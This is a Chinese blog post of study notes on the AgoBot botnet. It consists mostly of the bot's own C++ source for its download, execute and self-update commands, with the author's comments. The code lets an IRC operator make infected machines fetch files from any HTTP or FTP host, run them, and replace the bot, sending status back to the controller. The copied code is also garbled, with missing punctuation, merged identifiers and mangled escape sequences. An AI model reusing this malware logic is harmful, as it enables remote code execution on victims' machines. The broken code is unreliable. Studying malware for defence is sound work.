AgoBot 僵尸网络研究笔记(十八)

来源:互联网 发布:网络禁书小说40本名单 编辑:程序博客网 时间:2024/06/05 04:30

十八、2008年04月16日

作者:青青子衿

email:anzijin@sina.com

1、utility.h 文件中实现的功能比较杂这里一一做成分析。

(1)、一些结构体的分析,具体结构体中成员的细节,不再累述。

//IP头结构体

typedef struct ip_hdr

{

unsigned char h_verlen;

unsigned char tos;

unsigned short total_len;

unsigned short ident;

unsigned short frag_and_flags;

unsigned char ttl;

unsigned char proto;

unsigned short checksum;

unsigned int sourceIP;

unsigned int destIP;

}IPHEADER;

//

typedef struct tsd_hdr

{

unsigned long saddr;

unsigned long daddr;

char mbz;

char ptcl;

unsigned short tcpl;

}PSDHEADER;

//TCP头结构体

typedef struct tcp_hdr

{

unsigned short th_sport;

unsigned short th_dport;

unsigned int th_seq;

unsigned int th_ack;

unsigned char th_lenres;

unsigned char th_flag;

unsigned short th_win;

unsigned short th_sum;

unsigned short th_urp;

}TCPHEADER;

typedef struct xheaders_s

{ bool bBroadcast;

int iTTL;

bool bUltrapeer;

xheaders;

//消息结构体,这里要和前面的消息类加以区分

typedef struct message_s

{ char szCommand[256];

char szParams[1024];

char szId[65];

char szIntFlags[191];

int iContentLength;

char *szContent;

message;

//url信息相关的结构体

typedef struct url_s

{ CString sProto;

CString sHost;

int iPort;

CString sReq;

url;

//http请求相关的结构体

typedef struct http_req_s

{ url uURL;

CString sMethod;

CString sHTTPVer;

CString sHeaders;

http_req;

2class CDownloader : public CCommandHandler

class CDownloader : public CCommandHandler

{

public:

void Init();

bool HandleCommand(CMessage *pMsg);

command m_cmdDownload, m_cmdUpdate, m_cmdExecute, m_cmdVisit;

command m_cmdDownloadFtp, m_cmdUpdateFtp, m_cmdExecuteFtp;

};

(2)Init()函数

/////////////////////////////////////////////////////////////////////

//

//函数功能:初始化CDownloader类,添加一系列与下载相关的指令

//参数:

//返回值: void

//

////////////////////////////////////////////////////////////////////

void CDownloader::Init()

{

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDownload, "http.download", "downloads a file from http", this); //通过http协议下载文件的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecute, "http.execute", "updates the bot from a http url", this); //通过http协议更新bot的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdUpdate, "http.update", "executes a file from a http url", this); //执行通过http协议下载程序的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdVisit, "http.visit", "visits an url with a specified referrer", this); //访问一个指定的url

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDownloadFtp, "ftp.download", "downloads a file from ftp", this); //通过ftp协议下载文件的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecuteFtp, "ftp.execute", "updates the bot from a ftp url", this); //通过ftp协议更新bot的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdUpdateFtp, "ftp.update", "executes a file from a ftp url", this);  //通过ftp协议更新bot的指令

}

(3)、HandleCommand(CMessage *pMsg)  函数

/////////////////////////////////////////////////////////////////////////

//

//函数功能:指令处理函数

//参数: CMessage *pMsg 接收到的指令消息

//返回值: bool

//

//

////////////////////////////////////////////////////////////////////////////////

bool CDownloader::HandleCommand(CMessage *pMsg)

{

CString sHostsPathsUsersPasssTarget;

//执行通过http协议下载文件

if(!pMsg->sCmd.Compare("http.download"))

{

sHost.Assign(pMsg->sChatString.Token(1, " ")); //提取主机名

sPath.Assign(pMsg->sChatString.Token(2, " ")); //提取文件路径

sTarget.Assign(pMsg->sChatString.Token(3, " "true)); //提取下载目标文件的名称

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost);  //给CDownloadHelper类的对象赋值

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo); //回复信息

pDldHlp->m_bExecute=false

pDldHlp->m_bUpdate=false

pDldHlp->m_bFTP=false;

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); //最终会启动新线程,在新线程中运行run函数

}

//通过http协议,下载并执行程序

if(!pMsg->sCmd.Compare("http.execute"))

{

sHost.Assign(pMsg->sChatString.Token(1, " ")); 

sPath.Assign(pMsg->sChatString.Token(2, " ")); 

sTarget.Assign(pMsg->sChatString.Token(3, " "true));

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=true//标识执行该程序

pDldHlp->m_bUpdate=false;

pDldHlp->m_bFTP=false;

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start();   //启动线程运行run函数

}

//处理bot通过http更新的指令

if(!pMsg->sCmd.Compare("http.update"))

{

sHost.Assign(pMsg->sChatString.Token(1, " ")); 

sPath.Assign(pMsg->sChatString.Token(2, " ")); 

sTarget.Assign(pMsg->sChatString.Token(3, " "true));

if(!pMsg->sChatString.Token(4, " ").Compare(g_cMainCtrl.m_cBot.bot_id.sValue)) 

{

//提取第四个参数,与bot的ID值进行比较,如果相等进行下一步bot升级

//如果不相等,函数退出。

return false;

}

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=false

pDldHlp->m_bUpdate=true;  //标识执行bot升级

pDldHlp->m_bFTP=false;

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); 

}

//处理ftp协议的下载指令

if(!pMsg->sCmd.Compare("ftp.download"))

{

sUser.Assign(pMsg->sChatString.Token(1, " ")); 

sPass.Assign(pMsg->sChatString.Token(2, " "));

sHost.Assign(pMsg->sChatString.Token(3, " ")); 

sPath.Assign(pMsg->sChatString.Token(4, " ")); 

sTarget.Assign(pMsg->sChatString.Token(5, " "true));

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sUser.Assign(sUser);

pDldHlp->m_sPass.Assign(sPass); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=false

pDldHlp->m_bUpdate=false

pDldHlp->m_bFTP=true; //标识ftp协议下载

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); 

}

//处理下载远程程序,并执行的指令

if(!pMsg->sCmd.Compare("ftp.execute"))

{

sUser.Assign(pMsg->sChatString.Token(1, " ")); 

sPass.Assign(pMsg->sChatString.Token(2, " "));

sHost.Assign(pMsg->sChatString.Token(3, " ")); 

sPath.Assign(pMsg->sChatString.Token(4, " ")); 

sTarget.Assign(pMsg->sChatString.Token(5, " "true));

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sUser.Assign(sUser);

pDldHlp->m_sPass.Assign(sPass); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=true//标识执行下载后的程序

pDldHlp->m_bUpdate=false

pDldHlp->m_bFTP=true;  //标识使用ftp协议

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); 

}

//通过ftp协议更新bot程序的指令

if(!pMsg->sCmd.Compare("ftp.update"))

{

sUser.Assign(pMsg->sChatString.Token(1, " ")); 

sPass.Assign(pMsg->sChatString.Token(2, " "));

sHost.Assign(pMsg->sChatString.Token(3, " ")); 

sPath.Assign(pMsg->sChatString.Token(4, " ")); 

sTarget.Assign(pMsg->sChatString.Token(5, " "true));

if(!pMsg->sChatString.Token(6, " ").Compare(g_cMainCtrl.m_cBot.bot_id.sValue)) 

{

return false;

}

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sUser.Assign(sUser);

pDldHlp->m_sPass.Assign(sPass); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=false

pDldHlp->m_bUpdate=true; //标识执行bot升级

pDldHlp->m_bFTP=true; //标识使用ftp协议

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); 

}

return true

}

3class CDownloadHelper : public CThread 

////////////////////////////////////////////////

//

//类的功能:下载功能的辅助类,是线程类的子类

//

///////////////////////////////////////////////////

class CDownloadHelper : public CThread

{

public:

virtual ~CDownloadHelper() { }

virtual void *Run();

CString m_sHost;  //主机名

CString m_sPath; //路径

CString m_sUser; //用户名

CString m_sPass; //密码

CString m_sTarget; //目标文件名

CString m_sReplyTo; //回复信息

bool m_bExecute; //是否执行

bool m_bUpdate; //是否更新

bool m_bFTP; //是否使用ftp

bool m_bSilent; //是否静默状态

bool m_bNotice; //是否发送Notice数据包

};

(1)void *CDownloadHelper::Run() 函数

void *CDownloadHelper::Run()

{

// If the params are invalid, return

if(!m_sHost.Compare("") || !m_sTarget.Compare("") || !m_sPath.Compare("")) //如果主机名,路径、目标文件名为空

//从线程堆栈中释放该线程。

g_cMainCtrl.m_lCanJoin.push_back(this); 

return NULL;

}

if(m_bFTP

{

//如果通过ftp协议下载

if(!m_sUser.Compare("") || !m_sPass.Compare("")) 

//如果用户名和密码为空则将本线程从线程堆栈中弹出,函数返回。

g_cMainCtrl.m_lCanJoin.push_back(this); 

return NULL;

}

}

// Get the port from the host, set it to default if none is specified

int iPort=0; //将端口值清0

if(m_sHost.Token(1, ":").Compare("")) 

{

iPort=atoi(m_sHost.Token(1, ":").CStr()); //从m_sHost变量中提取端口值

}

if(iPort==0) //如果端口值是0,通过使用的传输协议,为端口值赋值。

{

if(m_bFTP//使用ftp传输时使用默认端口21

{

iPort=21; 

}

else //使用http协议进行传输时,使用默认端口80

{

iPort=80;

}

}

// Store only the ip/host in m_sHost

CString sTemp(m_sHost.Token(0, ":"));  //只取一个IP地址或是host地址

m_sHost.Assign(sTemp); //将其放入m_sHost变量中

// Expand environment variables if compiled on Win32 //如果在window系统中,需要扩展环境变量

#ifdef WIN32

char szTemp[MAX_PATH]; 

ExpandEnvironmentStrings(m_sTarget.CStr(), szTempMAX_PATH);  //扩展环境变量,得到全路径

m_sTarget.Assign(szTemp);

#endif

if(m_bFTP//通过ftp模式进行传输

{

netbuf *nControl// 一个结构体类型的指针变量

FtpInit(); //调用WSAStartup函数,初始化网络设置

if(!FtpConnect(m_sHost.CStr(), &nControl)) //如果连接失败,返回0.

{

//处理连接失败代码。

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Unable to connect to ftp."m_sReplyTo); //向控制端返回“无法连接的”提示信息

g_cMainCtrl.m_lCanJoin.push_back(this);  //将本线程从线程堆栈中弹出。

return NULL//函数返回,新创建的线程退出。

}

if(!FtpLogin(m_sUser.CStr(), m_sPass.CStr(), nControl))  //登录ftp服务器

{

//登录失败

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Unable to login to ftp."m_sReplyTo);

g_cMainCtrl.m_lCanJoin.push_back(this); return NULL

}

//向控制端返回登录成功信息。

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Receiving file."m_sReplyTo);

if(!FtpGet(m_sTarget.CStr(), m_sPath.CStr(), FTPLIB_IMAGEnControl)) //表示接收图片FTPLIB_IMAGE,这里的含义应该是接收二进制数据

{

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Unable to download from ftp."m_sReplyTo);

g_cMainCtrl.m_lCanJoin.push_back(this); return NULL

}

FtpQuit(nControl);  //退出ftp连接

}

else //通过http模式进行传输

{

int sSocketd

CString sSendBufsReply;

sSocket=DoTcpConnect(m_sHost.CStr(), iPort);//主机名、端口,返回值为socket套接字

if(sSocket==SOCKET_ERROR//如果连接失败,返回提示信息,给控制端

{

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Unable to connect to http."m_sReplyTo);

g_cMainCtrl.m_lCanJoin.push_back(this); xClose(sSocket); return NULL

}

//构造发送数据。

sSendBuf.Format("GET %s HTTP/1.0/r/nConnection: Keep-Alive/r/nUser-Agent: Mozilla/4.75 [en]/r/nHost: %s:%d/r/n/r/n"m_sPath.CStr(), m_sHost.CStr(), iPort);

//向http服务器发送请求数据。

xWrite(sSocketsSendBuf.CStr(), sSendBuf.GetLength());

//向控制端返回当前状态Receiving file

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Receiving file."m_sReplyTo);

//打开文件,准备保存下载的文件。

FILE *file=fopen(m_sTarget.CStr(),"wb");

if(!file

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Failed to open file."m_sReplyTo); g_cMainCtrl.m_lCanJoin.push_back(this); 

return NULL

}

char szBuf[4096];

//处理包含http数据报头的数据

while(true)

{

int i

if((i=xRead(sSocket,szBuf,4096))<=0) //从http服务器上读数据

{

break;

}

if(i<4096) szBuf[i]=0;

for(d=0;d<i;d++) 

{

if(!strncmp(szBuf+d,"/r/n/r/n",4))//找到"/r/n/r/n"字符串后,该字符串前面的部分是http的头,后面部分是准备下载的数据

{

for (d+=4;d<i;d++) 

{

fputc(szBuf[d],file); //将数据写入文件

}

goto done_http

}

}

done_http:   //处理之后没有带http数据包头的数据

while(true)

{

int i

if((i=xRead(sSocket,szBuf,4096))<=0) //从http服务器下载数据

{

break;

}

if(i<4096) 

{

szBuf[i]=0;

}

for(d=0;d<i;d++) 

{

fputc(szBuf[d],file);  //将数据写入文件。

}

}

fclose(file);  //关闭打开的文件指针

xClose(sSocket);  //关闭套接字

}

//判断是否需要在更新bot

if(!m_bUpdate)

{

//不需要更新

//download isn't an update

g_cMainCtrl.m_cIRC.SendFormat(m_bSilentm_bNoticem_sReplyTo"download to %s finished."m_sTarget.CStr());

//判断是否需要运行新下载的文件

if(m_bExecute

{

//需要运行

Execute(m_sTarget.CStr(), "");

g_cMainCtrl.m_cIRC.SendFormat(m_bSilentm_bNoticem_sReplyTo"opened %s."m_sTarget.CStr()); 

}

else

{

//需要更新AgoBot

//download is an update

g_cMainCtrl.m_cIRC.SendFormat(m_bSilentm_bNoticem_sReplyTo"download to %s finished, updating..."m_sTarget.CStr());

if(CreateProc(m_sTarget.Str(), "-update")) //将新下载的bot运行起来

{ // successful update, remove and exit

#ifdef WIN32

if(g_cMainCtrl.m_cBot.as_enabled.bValue

{

g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue); //删除原有的启动项,新bot的启动项会在新bot运行时设置

}

#endif

g_cMainCtrl.m_cInstaller.Uninstall(); //卸载旧bot程序

g_cMainCtrl.m_bRunning=false;  //将运行状态设置为false

exit(1); //进程退出

}

else

{

//更新失败

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"update failed: error executing file."m_sReplyTo.Str()); 

}

}

g_cMainCtrl.m_lCanJoin.push_back(this);

return NULL

}

原创粉丝点击